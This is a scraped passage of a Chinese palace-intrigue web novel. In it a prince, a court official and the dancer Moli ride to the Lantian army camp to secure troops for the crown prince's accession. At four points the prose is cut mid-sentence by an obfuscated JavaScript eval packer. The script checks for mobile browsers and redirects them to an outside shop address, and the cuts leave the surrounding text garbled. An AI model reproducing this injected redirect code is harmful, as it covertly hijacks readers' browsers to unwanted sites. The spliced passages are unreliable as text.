年深日久的忌惮，让楚棠摇摆不定，始终不肯低头相求，现在，楚棣帮他做了。 他惊喜又欣慰，向来对他避之不及的弟弟开始为他着想了，故而毫不吝啬地赞美：“思虑深远，甚好！士别三日，当对你刮目相看了。如何，公主都答应么？”细瞧楚棣诚惶诚恐，便知事情多半是成的。 “殿下谬赞，臣弟实不敢当。公主已经修书寄去九原，只是，主持登基大典一事还未答应。” “说来听听。” 楚棣发动过耳不忘的本领，将镇国公主一番说辞细细道来，楚棠心中颇有微词，却又连连点头，赞同了一句又一句。 五年前，宋邯将一生财富和超出品秩的封地食邑一并献与皇帝，求得功成身退。可是太子不饶他，执意将他驱逐出京，要他夫妻分离、此生不得相见。 今皇帝晏驾，朝中暗潮涌动，他对公主府的情形一清二楚，自然也想过最坏的结局，破天荒的是，公主处处谨慎周到，对他不存怨怼之心，甚至，还双手奉上太宗剑。 沉吟半晌，楚棠神色凝重道： “冗官冗员，国之大患，世族老臣恐我登基大力整顿军制、吏治，削弱其力，动摇其本，故聚集公主府向我示威施压，我岂恐惧尔等？公主摄政三十余载，原有不臣之心，国人皆知，今能说出‘一介女流，难以位列九五’，可见想明白了，不愿为人作伐，我心甚安。可是这等天地机遇，她的臣属绝不会轻言放弃......” 话音未落，楚棣已恍然大悟： “所以兄长昨夜收回帅印，是为了派人接管大营，调兵回护，与城中守军里应外合，防备有人借机生乱？” “正是！”楚棠面色更沉：“我四更即派卢绾出城调兵，至今没有回音，不知他是生是死。蓝田到长安快马不过小半日路程，你可想个中情况该多棘手不堪。” 楚棣两颊绯红，耳朵滚烫，寻思确是自己把他想得太狭隘，当即拱手致歉： “兄长深谋远虑，小弟佩服。卢绾一去不返，多因其父生前开罪宋邯，与南衙多有摩擦，今派他去，只怕已掀起旧怨，水火不容罢。臣弟心中有一人选，可担保引荐，绝不负使命。” “你想说崔平陆？” “正是，除去出身、能力、军功和私人交情以外，兄长最放心他。” “不妥。”楚棠一口回绝，“局势未明，卢绾去而不返，我心难安。父亲说平陆长于防御守护之道，不论何时，留在身边最为妥帖。” 此话有理，楚棣一时无计再献，只好安慰：“精诚者，天不负。纵然枝节横生，兄长也一定会顺利登基的。” 楚棠望定他，胸中已有成算，单是微微笑道：“借你吉言。”楚棣在军中锤炼时，宋蔺对他多有照顾，此乃众人皆知。 可不听他提及自己，不知是自我轻视？还是不愿意搅进事端？要是由他与宋蔺副将入营传令调兵，事必成。 楚棠有此考量而不说，只因他不去，便等宋蔺退烧再去也不迟。 楚棣被看得发毛，心中大起疑惑，苦于想不出首尾，只得转向梓宫专心守灵。 直到午时，上玉小心翼翼地走进殿内，俯到楚棣耳边说明情况，因无太子或中宫命令，守卫不许入内廷细查，故无功而返。 楚棣脸色铁青，只对上玉耳语一句，便打发了。半晌后，向太子嗫嚅道：“今日裴九当值吗？” 楚棠本昏昏欲睡，忽然来了精神：“你找她有事？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120124|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯，私事。”楚棣声音轻得出奇。 “那你去吧。”楚棠虽好奇，但见他鬼鬼祟祟，便知问也问不出实话，索性由他去了。 不过一刻，上玉在立政殿外递与楚棣一副围棋，他心绪难平，借着请安的空隙，找到裴念元，打了一桩眉眼官司，一道走至偏殿。 裴念元位居尚宫，职在引导中宫，主掌文件官印，在窦皇后跟前极其得脸。要在后宫中找一个人，由她出面最佳。 二人交情颇深，然正在孝期，任何逾矩行为都可能被人抓住大做文章，所以楚棣不能空手求人办事，思来想去，决定投其所好，以期成事。 裴念元弈道高超，嗜棋如命，自然一眼看见他手中捧着棋罐，不禁腹诽，明知道诸事不便，捧着棋做甚？真是存心勾我，此人良心大大地坏了！ “这是何意？”忍不住问。 打开棋罐，罐中芙蓉石棋子晶莹剔透，被阳光一照，更是流光溢彩，美丽异常。乃是难求的珍品。 裴念元看得手痒心痒，试探道：“我能摸一下吗？” 楚棣顺势递去，她抓起一把，捧在手心，但觉通体莹润，如膏如脂，更喜欢了。 “九姐喜欢，小弟送你如何？”楚棣十分热情。 裴念元脑中警铃大作，嘴上胡乱说着：“这怎么好意思？有道是，无功不受禄，又说是，君子不夺人所爱。”话未说完，已把棋罐捧在怀中了。 “如此说来，小弟多谢九姐仗义相助。”楚棣直接拱手道谢。 裴念元思忖有顷，“殿下不必多礼，请说。” “我要找一个人。” “什么人？” “救命恩人。” 楚棣将茉莉为他擦洗伤口、结伴同行等事简单说来，再说她在御前献舞后失踪，裴念元心里就有数了。 “那你是要我找，还是拿我的文书去找？” “九姐亲去为上。” “也好。找到以后，你有何打算？” 楚棣不曾细想，既被问到了，只是说：“此番若算是救她于水火，那么我们扯平，缘尽于此。若只是小事一桩，那我必当再报大恩。” “二殿下知恩图报，也不妄那位姑娘一番善意了。” 裴念元当即收好棋罐，旋身而去。不过未时一刻，已经找到茉莉。 茉莉并一众宫人内侍被看押在神龙门附近一处空院中，五脏庙早已空空如也，欲见贡品。见房门洞开，走进一个少年英风，穿玄色圆领袍，头戴软幞头的戴孝女官，都长长地舒一口气，但坐的坐，瘫的瘫，没几个人起身行礼。 因事先去宜春院看过茉莉的照身贴，加以那身不同于宫人的舞蹈服饰，裴念元一眼就在人群中认出她来，惊讶地笑：“茉莉，你叫我好找呀！” 茉莉半梦半醒，听见有人叫她名字，猛然睁开双眼，面前这人，不是那日给她好心送伞的女官却又是谁？惊讶之余，起身做福，十分甘心情愿地道：“奴婢给大人请安。” 裴念元招她站到跟前，打量是个精神伶俐的姑娘，轻声道：“跟我来吧。” 19. 行藏在我 茉莉兴奋而拘谨地跟在裴念元身后。 一夜不得好眠，加以不饮不食，茉莉没走几步，腹中便咕嘟咕嘟叫了起来，同时眼前发昏，脚步发虚，而且穿着那身单薄的表演服，被风一吹也有些发冷。更不消说昨夜没有地方活动筋骨了，此刻浑身上下都酸疼至极。 “好冷好饿好痛。”她抱紧双臂，在心里告诉自己，“等回宜春院就好了，姐姐一定急坏了。” 一路强撑着，她跟裴念元走至一道宫门前，抬眼一瞧，牌匾上书“尚宫局”三个字，院里宽敞明亮，十几间屋子环成三面，通常只有女官和宫人在这里进出。 推门进去，迎面就有眉目清秀的绿袍女官过来招呼：“裴大人，这位姑娘是？”几名宫人应声围来。 裴念元回头瞧一眼茉莉，介绍道：“这是宜春院的茉莉姑娘，昨天下午在御前献舞的。她叫白灵，这里的司记。” “小茉莉，”白灵开心地拉起她的手，“你那剑舞让那波斯使者眼界大开，宫里都传开啦！你才多大啊，就这么厉害！”宫人们叽叽喳喳，尽是赞美。 茉莉颔首嗫嚅道：“我快十八了。” 见她害羞，裴念元开口解围：“灵儿，别贫嘴了，去给茉莉找些吃的来，再要一套换洗衣服。” “好，我这就去。”白灵笑嘻嘻的，飘然而去。 茉莉着急道：“多谢灵儿姐姐。”然后怯生生垂下脑袋，强迫自己不去看，不去想，尽量降低了存在的痕迹。 其实，她好奇裴大人为何找她，想问清楚，却被宫人们的闲话吸引，聚精会神地听着，始终没有做声。 遣走宫人后，二人走进一间窗明几净的书房，一齐坐到轩窗下，茉莉环抱双臂取暖，一双眼十分活泛，扫过屋子的每一寸，每一角。 屋内陈设简洁雅致，没有瓶瓶罐罐、纱幔一类的装饰，轩窗下放一套红木八仙桌椅，大厅正中靠墙列着几排红木书柜，以陈列典籍，前方是一张书案，案上放着纸墨笔砚和几沓厚厚的文书、练过字的宣纸，当然，还有那罐棋。 这一路上，裴念元都没说几句话，茉莉心里打鼓不假，可是疲劳和饥饿让她没有精力再好奇了。 裴念元给她倒了一杯热茶，“茉莉，你可知道今日是谁托我找你？” 茉莉只是摇头：“不知道。”捧起热茶，先抿了两口，然后一饮而尽。 裴念元道：“是二殿下。” 茉莉心头微动：“他，二殿下找我做什么？” “他听说你一夜未归，担心你。”裴念元打趣道。 “请大人转告殿下，茉莉在宫里一切都好，请殿下不必担心。” “你不想亲自跟他说吗？” 茉莉没有回答。 国丧，意味着他失去了父亲，可是茉莉对父亲没有感情不说，反而厌之入骨，恨不能剔骨还父，死生不复相见。因此想象不出，失去父亲是什么况味。 她记得魏缨的教导，冷漠而克制地答：“我与殿下萍水相逢时，便已猜到，们有云泥之别。大人既问我，我便实心回答，想是想的，可是不能，也不好。” 裴念元出身世家，品行端正，无娇骄二气。十岁上，被破格选为如意公主玩伴，在宫里长大，因文武双全，倍受窦皇后赏识，故在如意及笄后，将她调至尚宫局任掌事女官，将来更有重任委托。 十几年来，她见过形形色色的女子，多有机心，不可告人，没有哪一个像茉莉这般坦诚直言。 她喜欢这个小姑娘。 “这有什么关系？你若想，我可以让你们见上一面。” 茉莉欣喜不已，却大摇其头：“不劳大人费心。”怕她多心，解释道：“我与殿下同在宫中，有缘自会相见。” “寻常人若有此际遇，大多是求之不得要再见一面，毕竟这人与人的情份，就是一面一面见出来的。你这样的倒是少见。我看你说话做事颇有分寸，是个可用之人，你愿意到灵儿手下做掌记么？” “什么？”茉莉以为自己没听清。 “你可愿到灵儿手下做个掌记？”裴念元实话说，“不比你做前头人体面，是个没品秩的活儿。” “我很愿意。” “但是？” “但是，我入宫后才开始正经读书认字，恐怕做不得掌记。” “那也好办，你且在宜春院中效力，明年初夏各宫选拔女官，届时我去找你。” 茉莉但觉奇怪，可一想到那把伞，就对她警惕不起来了。虽然不知她的话是真是假，或是试探，到底没忍住，问了一句：“他...还好吗？” “不太好。”裴念元一声叹息，“你也以为他过得很好？” “我知道他有点儿辛苦。” “不止一点儿。” “天家复杂，可惜我无法帮他。” 这时白灵推门而入，手中端着托盘，托盘里是一碗长生粥，一盘天花毕罗、一盆拌野菜和一碟小咸菜。因在孝期，没有任何解馋的肉食。径自放到桌上，自对着窗口坐下，很热情地招呼： “小茉莉快来吃饭，攒点劲，将来要为国效力呢！” “姐姐别笑我了。”茉莉害羞，不敢擅动。 白灵见状，把粥端到她面前： “瞧你累的，脸色都发青了。吃吧，吃完姐姐带你洗漱休息去。” “谢谢灵儿姐姐。” 茉莉一闻见饭菜香，简直要昏头了，越吃越不记得得体、矜持，如饕餮附体般，埋头猛喝，一边拿咸菜拌饭，吃得身上发热，满脸细汗，却没有发出半点不雅的声音，最后拿起一个天花毕罗慢慢地啃。 “慢点儿吃，当心噎着。”白灵没有耻笑她，只是好奇：“你这是饿了多久？” “快一天一夜了。”茉莉腹中有食，精神就好了，看着眼前杯盘狼藉，颇不好意思地自嘲：“风卷残云，让姐姐见笑了。” “这样吃饭才香呢。”白灵半身倚在桌上，拉起家常，“哎，小茉莉，你是哪里人？” “蓝田县人。”茉莉边吃边说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120125|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蓝田县百年来都有重兵驻扎，门第高下说不准的。白灵知晓她舞艺非凡，绝非一日之功，故猜想，她即便不生于官门，也该是富庶人家。 “噢，那咱们两家不远，我是长安县人。”白灵问：“那你家里做什么营生？” “我阿娘是乡野农妇，阿耶好一些，在衙门里做师爷。”茉莉决定撒谎：“阿娘因无法忍受婆家欺凌，在我年幼时和离回乡了。” 欺凌是真，和离却是假。一个不得宠爱的妾室，孩子被抱走后，还有什么指望？没多久，便郁郁寡欢而死。撒谎和离，只是茉莉希望阿娘能做的。 阿娘下葬那日，一身布衣的阿舅站在账房前，揣着那十五两丧葬费，毅然走到二门上，对她父亲说：“大宅院里锦衣玉食，何以我家小妹下葬时瘦得皮包骨头？请大人细查，还我小妹一个公道。” 父亲傲立檐下，斜睨一眼，寒声道：“她是个不会享福的，怪什么大宅院。”便拂袖而去。 等父亲走远，茉莉才敢跑上去，怯生生地站在阿舅面前。那一天，阿舅抱着她，流下了屈辱的眼泪。 “茉莉啊茉莉，你要好好的。” 茉莉眼眶一红，抱紧阿舅，想跟他走，哪怕余生种田耕地，也认了。 阿舅哽咽道：“阿舅会为你阿娘报仇的。”背过身，抹了泪，旋身出门。 日复一日，茉莉长大了，终于从宅院中找到母亲离世的蛛丝马迹，可是她太懦弱，用那句“你要好好的”，逼令自己安于现状。直到父亲黑了心，要将她送给老头子做妾，她才决心出逃。 至于为母复仇，那是另一桩计较，应当要在她功成名就以后。 “你阿娘是个清醒人。”白灵若有所思，“那你是在阿耶家里长大？” 茉莉失落地点头，怕她再问，故而抢话：“姐姐家里做什么营生？” “我阿耶啊，是个再普通不过的士子，当年进士及第后任下州司马，累迁至大理寺丞，后来奉命审理‘宁王案’，得罪了东宫，便被贬为长安县令，至今升迁无望。” “啊...”茉莉但觉尴尬，连忙找补：“长安县是京畿重地，也很不错。” “那是自然。我阿耶刚正不阿，政令清严，衙门里捕快又没日没夜地巡街，县里相当太平。”白灵越说，越为老父骄傲。她一直相信，总有一天，老父会右迁长安受到重用。 白灵曾想“学成文武艺，货与帝王家”，可是太子要登基了，他不用，老父还学来做甚？ 见她忽而神色低落，茉莉关切道：“姐姐，你怎么了？” “没事儿，”白灵又笑起来：“要是有机会，我带你回家里玩儿。” “那真是太好了。” 裴念元不动声色地看着，不说，不问，不叹，不笑，自言谈举止间，已经断定她在撒谎，因为她从开始就在竭力掩饰，到底年轻，遑论亲口提到，仅仅是听见白灵说起“阿耶”二字，那眼神和语气中的失望、艳羡便已不可忽视了，甚至有几个瞬间，是咬牙切齿的。 20. 镜里花容 夜凉如水，尚宫局内灯火已暗，茉莉睡了好长一觉，醒来后，坐在床上揉着惺忪的睡眼。 绮罗帐外幻光闪烁。 这是白灵的卧房，因她独居，故而布置得舒适温馨，极具个人色彩。屋内洒扫得一尘不染，烛光明亮，闪烁如星，一面铜镜靠墙而立，对去是一张矮脚书案，案上堆着十来本书、字帖和精致的玩意儿，像自宫外来的，在镜中能看个大概。 “灵儿姐姐，你还不休息么？”茉莉走过去，这才发现裴念元也在，忙施礼道：“裴大人好。” 裴念元微微颔首，不冷不热，白灵却不一样，抬眼看向她时，唇边已噙起笑意：“小茉莉，睡得可好？” “很好。”这一觉睡来，真正解乏了。 白灵问：“你饿吗？我给你找点吃的。” 茉莉忙摇头，“不麻烦姐姐啦。”自去案前，拉过软垫坐下，“裴大人和姐姐公务繁忙，我留在这里帮不上什么忙，倒不如趁夜回宜春院去，我失踪这么久，阿缨姐姐一定很着急。” 白灵打趣道：“到底是年轻，姐姐真多哎。” 茉莉红着脸，只是笑。 “你能找到路吗？”白灵放下笔，“此地离宜春院可远。” 茉莉脸更红透，“姐姐明天有空吗？” 白灵略一思忖，向她解释：“裴大人明日起要协理东宫，所以从今天到登基大典结束，尚宫局一应事务要我和另一位司记合作完成，我没空送你。” “好吧。”茉莉硬着头皮，准备再留一晚。 裴念元适时开口：“灵儿，事情你都清楚了么？” “清楚了。”白灵点头。 “我这就去甘露殿拜见太子妃。”裴念元起身，对茉莉笑笑，“既然茉莉姑娘想回去，那咱们结伴同行吧。” “多谢裴大人。”茉莉立即起身，跑去榻边抱了舞裙来。 远处几座大殿灯火通明，眼前甬-道却晦暗不明，几十步方有一只灯笼，悬于檐下，在夜风里颤颤悠悠地打转。 茉莉不紧不慢，始终距裴念元半步之遥。白灵心眼直，性情好，对旁人无甚戒备，极易交心。裴大人虽口冷心热，但自出现，便站在她也许一生无法企及的高处，向她施以援手，好是好，只是那份淡漠，让她轻易不敢靠近。 观她神思不宁，裴念元沉默有顷，冷不丁问：“姑娘可知宜春院的前程在何处？” 茉莉知道，身为伶人，有两条出路：一是御前献艺，入得贵人眼中，麻雀变凤凰。二是熬熬资历，从伶人到掌教，等到出宫的年纪，自行去留。 前一条路，专为魏缨铺就，后一条路，为她茉莉可走。 她点头：“知道。” 裴念元停下步子，回头打量她道：“如此说来，姑娘当是清醒无疑了。那么，你对前程有何打算？” 茉莉娓娓道：“入宫那日，两院新人都在甬-道上远远瞧见裴大人，后来发鱼袋，檀华姑姑说咱们的鱼袋和大人的不一样，那时我就想，总有一日，我得有一个和大人一样的鱼袋。” “那你必须要为她出力了。”裴念元正色道。 “为谁？我何以出力？”茉莉惊讶不已。 “为大晋啊。茉莉，你听我说，‘天之将明，其黑犹烈’，就昨日关押宫人一事，想必你也察觉出朝局不安了。令尊是师爷，你多少该知道些蓝田大营的情况，尽数说与我听吧。” 茉莉更惊讶了，裴大人病急乱投医么？她是女子，长于内闱，何能知晓军中情形。 半晌，终于记起，父亲曾在府上宴请驻扎蓝田的将官，席间有人醉酒，言营中将领皆为九原侯亲信，自突厥一战后，主帅突然变成他的儿子宋蔺，不少将领对此颇有微词，无奈人微言轻，只能酒后发发牢骚。 想定，茉莉一一道来： “我在家时，悄悄跟阿耶去过衙门的席面，有一次，那些将官酒后失言，一说冠军侯不顾人情，嚣张跋扈，大营中多有人不服，不过仰赖着每战必胜，功劳惠及手下，方能稳坐高台。拿到好处的，或是加官晋爵，或是各色赏赐，便不闹，拿不到好处的，早就攒劲等待机会闹上一场。二说近几年没打仗，但他治军从严，天天操练，精研战阵等等，累得士兵一如牛马，不满的人就更多了。” 裴念元心下大喜，立时生出一计，可是难免怀疑她的身份，再转念一想，她一闺阁女子，能把这两件事说得有头有尾，至少不全是空穴来风。 “如此说来，目下就是大好时机了。”裴念元按耐住满腔欣喜。 “这也算为国出力吗？”茉莉大为不解。 “当然。你若有心，也可以有一番作为。” 茉莉好奇：“我该怎么做？” “你可记得那个发牢骚的将官？” “记得呀！” 裴念元当机立断，抓起她的手腕：“走，与我同去面见太子。” 糊里糊涂的，茉莉就被带到甘露殿外，裴念元先入侧殿见过太子妃，再带茉莉去拜见太子。 绕过侧殿屏风，却是别有洞天，宽阔明亮的后殿大约一丈宽窄，布尽素色，中间是一套未上漆打磨的本色案台桌椅，左边摆着剑架，一柄长剑悬于架上。可巧，楚棠楚棣一人坐于上首，一人坐于左侧，一边喝粥吃菜，一边闲话家常。 “宋蔺病得人事不省，眼下我们无人可用，唯有一等。”楚棠放下筷子，看向裴念元，“怎么不陪太子妃多说会儿话？” 楚棣打眼一瞧，那在裴念元身后，唯唯诺诺的，不是茉莉，却又是谁？她们来见太子做甚？讶异得食不知味，只剩假吃了。 裴念元从容拱手，“臣携宜春院女伶茉莉，参见太子殿下、二殿下。” “这是何意呀？”楚棠不解。 裴念元将茉莉所言简单报了，说出主意： “城外军马不动，卢绾将军生死未卜，殿下若想尽快调兵护卫京畿，何不再派一名心腹带她前去蓝田大营，私下找到那些将官，利诱分化之。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120126|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚棠对裴念元的感情极为复杂。 一方面，他们自幼相识，年纪相仿，是真正的青梅竹马，但谁能想到，她为臣，竟敢不满他的私德，几次因坊间捕风捉影之谈出言顶撞。假若不是顾念一同长大的情份，她早会被一贬再贬，逐出宫去。 另一方面，出于惜才之心。她自幼聪敏好学，从无名掌记到合宫知晓的尚宫，只用了短短三年，在她执掌尚宫局这几年，女官宫人各司其职，宫内诸司簿书无一错漏，工作效率奇高。 因她精于文书、对外联络、生财之道，楚棠曾想过，登基后，破格命其入前朝参赞国事，但这些年来，她从不曾主动亲近，故提拔之心日渐消退。 本以为将要渐行渐远，不料在这紧要关头，她主动献计，何尝不是表露忠心。楚棠岂能无动于衷？ 得知军中不如他们想象那般铁板一块，楚棠先是震惊，随即生出一番计较，他想，做人做事，不出则已，出必一击即中，否则，白白浪费时间心力。 他想定，趁此良机，可以考校楚棣。 “此计甚好。”他看向茉莉，问道：“你可愿去蓝田大营跑一趟？” 茉莉不清楚此去安全与否，心里没底，不觉悄悄望向楚棣，但见他神色慌张，手在桌案下连连摆动。 “这宫人瞧着年岁不大，恐怕不清楚此行轻重，殿下还是与她说明白吧。”楚棣出言解困。 楚棠微微笑道：“裴尚宫，你来时没与她说明白？” “说了。为国出力，岂是小事？” 话音一落，殿中竟安静下来，不大好看。 茉莉这才省了，忙答：“奴婢愿去蓝田大营。” “好，”楚棠大笑，转向内侍林华，吩咐道：“你去把宋燃找来，让他和这个笨楚棣带着宫人去蓝田大营传我校令。”宋燃是宋蔺副将，有他同行，校令、分化，必成一着。 楚棣骤然变色，起身一礼：“臣弟领命。只是，这宫人......” “留在你身边，相机行事。”楚棠不假思索，起身走到剑架前，拿起长剑交给楚棣，“无人不知太宗剑，三品以下，先斩后奏。好好拿着。” 这才明白其中深意，楚棣躬身接过：“多谢殿下。”随即佩在腰间。 “裴尚宫，你带这宫人去乔装打扮一番。” “臣遵旨。” 楚棣在殿内左看看，右看看，最终选定要换父亲那身银黑色重甲，制在那里，因身体不好，父亲从没机会穿出宫去，换好后，在太子身旁站定。 宋燃正在聆讯，一眼认出楚棣腰间那柄长剑，是连宋蔺都不曾得到的，还有何异议？当即领了太子校令，等候出发。 这厢，茉莉摇身一变，变成个小黄门。 临行以前，楚棠送出殿去，悄声对楚棣叮嘱：“此去危险，但有动荡，性命最重，任务次之。切记。” 楚棣闻言，眼眶有点儿发红，单是“嗯”一声，便去点上二百羽林郎随行护卫，着即打马出城。 21. 身骑白马 长安城外的官道上，宋燃和楚棣为首，带领两队骑兵疾行而去，队尾跟着百余名羽林郎，茉莉不会骑马，只能不紧不慢跟在队伍中间。 此次去蓝田大营，依照楚棣的设想，一有宋燃随行，二有太宗剑在手，也许不需要大动干戈就能成功调兵。他从未想过，有一日护国重任会落到自己肩上，哦，还有茉莉。 楚棣回头一看，目之所及皆为火光，哪里还有茉莉？不禁心急如焚，打马向后寻找，终于，在临近队尾看见那匹军马，背上伏着瘦弱的身影，待走进，才看见她双臂紧紧抱住马脖子，大有死不撒手的味道。 “茉莉——姑娘，你还好吗？” 熟悉的声音迎面而来，茉莉听见了，赶忙拉住缰绳缓缓停住，这才敢从马背坐直起来。 楚棣问道：“你不会骑马？” 茉莉蹙起眉心，满眼真诚：“不会，但我可以学。” 楚棣勒马，跳到地面上，对她说：“没事，你先下来。” 茉莉不解其意，却没说话，就大胆地翻身跳下去。刚下完雨，地上滑，她一屁股摔倒在地，沾得一身泥浆。楚棣站在一边，甲胄下摆也溅上了。 “摔疼了吗？”楚棣连忙扶她。 “没事。”茉莉盆骨生疼，背面下身半片裙子已湿透了，皱皱眉，小声地问：“我是不是拖后腿了？你重任在身，不用管我。” 其实，她理应称他“二殿下”，可面对面的，话到嘴边，却始终说不出来。 楚棣宽慰道：“怎么会呢？是你让太子有一条新路可走，你现在是东宫的有功之臣。”看她这副狼狈样子，忽然有点内疚，“是我不周到，该给你准备马车的。” “隋大——二殿下别笑话奴婢了。”茉莉说完这话，不禁脸热。 楚棣一默，随即就说：“没人的时候，你还是叫我隋意吧，或者，隋大哥。” 茉莉低着脑袋，别别扭扭地说：“二殿下，我们快走吧。别耽误时辰。” “好。”楚棣见她不搭腔，也不尴尬，转而说：“你来骑我这匹马，不累人。” 茉莉一早就发现那匹白马不寻常，是双蹄同侧奔跑。走到那马下，好奇道：“这是什么马？” “走马。它叫紫燕骝，日行千里，如履平地。”眼见火光和脚步声越来越远，楚棣催促道，“快上去吧，不然真耽误了。” “好。”茉莉踩住马镫，奋力翻身上马，打滑两次，终于成功了。 楚棣看在眼里，满心觉得茉莉可爱，这独一份旺盛的生命力，就像她的名字那样，细微幽香，芳菲不尽。 楚棣牵住紫燕骝的缰绳，缓辔而行，“你先适应片刻，咱们就去追大部队了。” “好。”茉莉又是低低一声。 两匹马错身而行，茉莉在离楚棣一臂远的斜后方，始终注视着他——少年英风，戎装整齐的他。眉心频蹙，黯然神伤的他。谈吐得体，体贴入微的他。悄然盘踞到茉莉的心尖尖上。 可是，他们有云泥之别，她就算穷尽一生，也难能与他并肩。既然爱一个人，怎么可以求他回首一顾？ 想到这里，茉莉也是黯然。 楚棣想起初见的一切，忽然回头看了看，没话找话：“你是我的救命恩人，我却不以实名相告，实在惭愧。” 茉莉莫名其妙：“惭愧什么，我也用的假名。现在我们扯平了。” 楚棣笑了笑，问道：“那你为什么要用假名？” 茉莉无法做到坦诚私隐，只是答：“你为什么，我就为什么。” “原来茉莉姑娘的身份也有文章。”楚棣心下了然，对这唯独对自己坏脾气的姑娘，更加好奇了。 “二殿下又笑话奴婢了。”茉莉恨着父家，心底冒出一顾邪火，“我要是有文章可做，何必去宜春院？” “你别生气，我没那个意思。” “奴婢不敢生气。”茉莉别过脸去。 “茉莉姑娘，”楚棣失笑道：“何以对我如此霸道？” 茉莉忽地脸红透了，细想也是知道这位殿下不挑她的理，才敢有话直说。 楚棣见她不理，又说：“你坐稳了，咱们现在就追上去。” 茉莉听话就轻轻夹住马肚子，拉起缰绳，身体微微向前躬起。见她准备好了，楚棣扬起马鞭，“恰”的一声，二人二骑，如箭羽一般飞去。 走马平稳，疾行如飞，茉莉胆子渐渐壮了，坐直起来，一声又一声，一鞭又一鞭，不断催着马跑，很快就和楚棣一起追上大部队。 她这一生，第一次如此肆意。 两道车辙一路向前延伸，蓝田大营近在眼前。楚棣忽然叫停，在道路两边布置下两队人马，以防事情有变。待休息妥当，再继续前进。 五鼓时分，一行到达蓝田大营，营门左右伫立着两座暸望塔，窗口各有两名士兵站岗，门前拒马交错，守卫森严。 不及最后一道鼓声落下，营中军帐已经尽数亮起。 蓝田大营，处于大晋腹心地带，上有灞水，三山环绕，易守难攻。原为大晋先祖奖励耕战而设，后因其战略位置优越，便世世代代在此屯兵。数百年光阴，使这里成为名将渊薮，以军士热血浇灌，祖制得以延续至今。 说起来，楚棣在军营里算是待过三四年，原本计划跟随宋蔺，可长期驻扎蓝田，但那时初离富贵场，晨起操练和定期巡视山野，都让他苦不堪言，所以很快就自请去金吾卫中任职。 故地重游，过去种种恍然如梦，楚棣叹道：“三叔不在，竟也如此严格。” “军中一切事务皆有定律。不论上将军在否，都要依律行事。” “宋燃，你我都是士兵，唯军令是从。”楚棣面色一沉，“我们此行任务就是调兵回护京畿。上将军麾下不是等闲之辈呀，不认虎符，又扣着卢绾不放。看这阵势，倒像在等谁发号施令——公主？宋侯？还是上将军？你是三叔的心腹，多少有些人望，去劝劝他们，免得将来有杀身之祸。我只愿顺利成事，皆大欢喜。” 宋燃一家为宋氏家臣，他和宋蔺是奶兄弟，自幼寸步不离，成人后同在军中效命，兼有袍泽之情，宫内说宋蔺生病，在他听来却是生死不明。家中有难，他怎会作壁上观？思忖片刻，拱手领命道： “宋燃自当竭力一试。只是，恳请殿下向东宫陈情，上将军实无不遵上命之意。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120127|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “上将军待我不薄，事成之后，我自当为他陈情。” “多谢殿下。末将还有一事，想请殿下给个准话。” “将军请讲。” “上将军是真的病了？还是别的缘故。” 楚棣爽朗一笑：“我与三叔在武德殿点灯夜话，隔案而眠。一早是我传的太医，安能有假？” “那就好。”宋燃悬着的心落地。 一行下马，楚棣回头看一眼茉莉，悄声叮嘱道：“不要害怕，我会时时照看你。” 虽一夜不曾合眼，但茉莉精神极佳，一双眼炯炯有神，早已被营中传来的阵阵口号吸引去了。闻言，心底一暖，连忙低头道：“谢过殿下。” 此时暸望塔中的士兵高声喝问：“来者何人？” “我乃中军帐下宋燃，你等速速打开营门，迎接二殿下。” “末将即刻就来。” 片刻之后，一队步卒快步跑来，麻利地搬开营门前的拒马，随即列在两边。 金吾卫大营在长安城中，楚棣已经三年不曾来蓝田了，作为一名不能吃苦耐劳的士兵，他再次走进这里，其实心底泛着隐隐的不安，然而今日有要事在身，容不得他怀旧自省。 呼喊声震天动地，让楚棣的不安之余，更生出一点惶恐。 茉莉却深深沉浸其中，心想这才是老话说的“一日之计在于晨”，毕竟为事在专，要是没有一个清醒专注的早晨，一天的心气就都散了。 听得宋燃回营，六七个全副重甲的将军自四处汇来，高兴地迎上前来：“宋燃，上将军一切可好？” 